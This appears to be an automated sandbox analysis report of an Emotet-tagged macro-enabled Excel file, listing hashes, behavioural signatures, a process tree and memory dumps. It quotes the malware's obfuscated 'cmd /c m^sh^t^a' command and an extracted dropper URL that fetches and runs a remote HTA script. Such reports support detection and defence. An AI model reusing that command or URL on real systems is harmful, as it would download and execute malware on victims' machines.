Overview

overview

10

Static

static

8

emotet_v6

windows10_x64

10

emotet_doc

windows10_x64

10

Analysis

  • max time kernel
    150s
  • max time network
    136s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    19/01/2022, 23:54

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Report Analysis Logs

General

  • Target

    b9510c284bf2350a71ff66a248c97768d98b4e04146ade4a28fd9f1fab9137c3.xlsm

  • Size

    115KB

  • MD5

    ae463a7f0de640061802d78223d7424d

  • SHA1

    d4809b8d5b09ede52d07f27485ed5d54bb7e4eca

  • SHA256

    b9510c284bf2350a71ff66a248c97768d98b4e04146ade4a28fd9f1fab9137c3

  • SHA512

    ea7ab3c0d5641711e0600dac4c1bf6bcd9035715b529360d7027a1e64ae963b958b8b70d890dc027487cf138b3eb92862cb69a9875f34216e64a8a1facee2758

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://0x5cff39c3/sec/se1.html

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 20 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\b9510c284bf2350a71ff66a248c97768d98b4e04146ade4a28fd9f1fab9137c3.xlsm"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3644
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:4808
      • C:\Windows\SYSTEM32\cmd.exe
        cmd /c m^sh^t^a h^tt^p^:/^/0x5cff39c3/sec/se1.html
        2⤵
        • Process spawned unexpected child process
        • Suspicious use of WriteProcessMemory
        PID:2460
        • C:\Windows\system32\mshta.exe
          mshta http://0x5cff39c3/sec/se1.html
          3⤵
          • Blocklisted process makes network request
          PID:1404

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

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    Downloads

    • memory/3644-115-0x00007FFBCE9E0000-0x00007FFBCE9F0000-memory.dmp

      Filesize

      64KB

      Download

    • memory/3644-116-0x00007FFBCE9E0000-0x00007FFBCE9F0000-memory.dmp

      Filesize

      64KB

      Download

    • memory/3644-117-0x00007FFBCE9E0000-0x00007FFBCE9F0000-memory.dmp

      Filesize

      64KB

      Download

    • memory/3644-118-0x00007FFBCE9E0000-0x00007FFBCE9F0000-memory.dmp

      Filesize

      64KB

      Download

    • memory/3644-121-0x00007FFBCE9E0000-0x00007FFBCE9F0000-memory.dmp

      Filesize

      64KB

      Download

    • memory/3644-128-0x00007FFBCBCE0000-0x00007FFBCBCF0000-memory.dmp

      Filesize

      64KB

      Download

    • memory/3644-129-0x00007FFBCBCE0000-0x00007FFBCBCF0000-memory.dmp

      Filesize

      64KB

      Download